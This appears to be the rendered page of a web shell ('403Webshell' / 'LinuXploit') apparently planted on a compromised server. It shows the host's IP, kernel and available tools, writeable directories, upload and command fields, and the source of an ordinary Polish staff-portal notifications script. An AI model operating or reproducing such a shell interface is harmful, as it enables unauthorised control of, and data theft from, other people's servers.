403Webshell
Server IP : 188.114.97.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/pracownik/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/pracownik/powiadomienia.php
<?php
declare(strict_types=1);require_once dirname(__DIR__).'/includes/functions.php';$user=require_staff_portal();ensure_operations_schema();
if($_SERVER['REQUEST_METHOD']==='POST'){verify_csrf();staff_notifications_mark_read((int)$user['id']);flash('success','Powiadomienia oznaczone jako przeczytane.');redirect('/pracownik/powiadomienia.php');}
$rows=staff_notifications_for_user((int)$user['id'],100);staff_notifications_mark_read((int)$user['id']);render_staff_header('Powiadomienia',''); ?>
<div class="staff-title"><div><h1>Powiadomienia</h1><p>Grafik, rezerwacje i wypłaty</p></div></div>
<section class="staff-section"><?php if(!$rows): ?><div class="staff-empty">Brak powiadomień.</div><?php endif; ?><?php foreach($rows as $n): ?><a class="staff-notification <?= empty($n['read_at'])?'is-new':'' ?>" href="<?= e($n['link']?:'/pracownik/') ?>"><div><strong><?= e($n['title']) ?></strong><?php if($n['body']): ?><p><?= e($n['body']) ?></p><?php endif; ?></div><time><?= e((new DateTimeImmutable($n['created_at']))->format('d.m H:i')) ?></time></a><?php endforeach; ?></section>
<?php render_staff_footer(''); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit